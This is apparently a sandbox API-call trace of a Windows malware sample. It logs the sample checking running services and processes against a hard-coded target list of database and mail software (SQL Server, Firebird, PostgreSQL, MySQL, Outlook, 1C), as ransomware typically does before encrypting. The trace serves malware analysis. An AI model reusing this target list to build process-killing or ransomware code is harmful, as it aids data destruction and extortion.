[0078.262] lstrlenW (lpString="Spooler") returned 7 [0078.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0078.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0078.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0078.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0078.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0078.262] lstrlenW (lpString="sppsvc") returned 6 [0078.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0078.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0078.262] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0078.262] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0078.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0078.263] lstrlenW (lpString="SysMain") returned 7 [0078.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0078.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0078.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0078.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0078.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0078.263] lstrlenW (lpString="Themes") returned 6 [0078.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0078.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0078.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0078.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0078.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0078.263] lstrlenW (lpString="TrkWks") returned 6 [0078.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0078.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0078.264] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0078.264] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0078.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0078.264] lstrlenW (lpString="UxSms") returned 5 [0078.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0078.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0078.264] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0078.264] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0078.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0078.264] lstrlenW (lpString="VSS") returned 3 [0078.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0078.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0078.265] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0078.265] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0078.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0078.265] lstrlenW (lpString="WdiServiceHost") returned 14 [0078.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.265] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0078.265] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0078.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0078.265] lstrlenW (lpString="WdiSystemHost") returned 13 [0078.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0078.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0078.265] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0078.265] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0078.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0078.266] lstrlenW (lpString="WinDefend") returned 9 [0078.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0078.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0078.266] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0078.266] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0078.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0078.266] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0078.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.266] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0078.266] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0078.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0078.267] lstrlenW (lpString="Winmgmt") returned 7 [0078.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0078.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0078.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0078.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0078.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0078.267] lstrlenW (lpString="wscsvc") returned 6 [0078.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0078.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0078.267] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0078.267] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0078.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0078.267] lstrlenW (lpString="wuauserv") returned 8 [0078.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0078.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0078.279] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0078.279] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0078.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0078.279] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36ee520 | out: hHeap=0x4c0000) returned 1 [0078.280] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0078.292] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.294] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0078.295] lstrlenW (lpString="System") returned 6 [0078.295] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0078.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0078.295] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0078.295] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0078.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0078.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0078.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0078.296] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0078.297] lstrlenW (lpString="smss.exe") returned 8 [0078.297] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0078.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0078.297] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.668] lstrlenW (lpString="csrss.exe") returned 9 [0079.668] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.670] lstrlenW (lpString="wininit.exe") returned 11 [0079.670] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.672] lstrlenW (lpString="csrss.exe") returned 9 [0079.673] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.674] lstrlenW (lpString="winlogon.exe") returned 12 [0079.674] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.676] lstrlenW (lpString="services.exe") returned 12 [0079.676] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.677] lstrlenW (lpString="lsass.exe") returned 9 [0079.678] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.679] lstrlenW (lpString="lsm.exe") returned 7 [0079.679] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.681] lstrlenW (lpString="svchost.exe") returned 11 [0079.681] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.683] lstrlenW (lpString="svchost.exe") returned 11 [0079.683] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.684] lstrlenW (lpString="svchost.exe") returned 11 [0079.685] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.686] lstrlenW (lpString="svchost.exe") returned 11 [0079.686] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.688] lstrlenW (lpString="svchost.exe") returned 11 [0079.688] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.689] lstrlenW (lpString="audiodg.exe") returned 11 [0079.689] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.691] lstrlenW (lpString="svchost.exe") returned 11 [0079.691] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.692] lstrlenW (lpString="svchost.exe") returned 11 [0079.693] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.694] lstrlenW (lpString="dwm.exe") returned 7 [0079.694] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0079.696] lstrlenW (lpString="explorer.exe") returned 12 [0079.696] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.698] lstrlenW (lpString="spoolsv.exe") returned 11 [0079.698] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.699] lstrlenW (lpString="taskhost.exe") returned 12 [0079.700] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.701] lstrlenW (lpString="svchost.exe") returned 11 [0079.701] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0080.119] lstrlenW (lpString="taskeng.exe") returned 11 [0080.120] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.122] lstrlenW (lpString="taskhost.exe") returned 12 [0080.122] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.124] lstrlenW (lpString="svchost.exe") returned 11 [0080.125] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0080.126] lstrlenW (lpString="sppsvc.exe") returned 10 [0080.126] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.127] lstrlenW (lpString="svchost.exe") returned 11 [0080.128] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0080.129] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0080.129] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0080.130] lstrlenW (lpString="visa thought.exe") returned 16 [0080.130] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0080.132] lstrlenW (lpString="instrumental.exe") returned 16 [0080.132] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0080.134] lstrlenW (lpString="mouth tree.exe") returned 14 [0080.134] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0080.135] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0080.135] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0080.137] lstrlenW (lpString="thisul.exe") returned 10 [0080.137] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0080.138] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0080.138] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0080.141] lstrlenW (lpString="tired grad keep.exe") returned 19 [0080.141] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0080.142] lstrlenW (lpString="basename_nested.exe") returned 19 [0080.142] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0080.144] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0080.144] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0080.145] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0080.145] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0080.147] lstrlenW (lpString="exotic.exe") returned 10 [0080.147] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0080.149] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0080.149] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0080.150] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0080.150] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0080.151] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0080.152] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0080.153] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0080.153] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0080.154] lstrlenW (lpString="patient.exe") returned 11 [0080.154] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0080.702] lstrlenW (lpString="corps.exe") returned 9 [0080.702] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0080.956] lstrlenW (lpString="inquire.exe") returned 11 [0080.957] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0080.958] lstrlenW (lpString="3dftp.exe") returned 9 [0080.958] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.960] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0080.960] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.962] lstrlenW (lpString="alftp.exe") returned 9 [0080.962] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.963] lstrlenW (lpString="barca.exe") returned 9 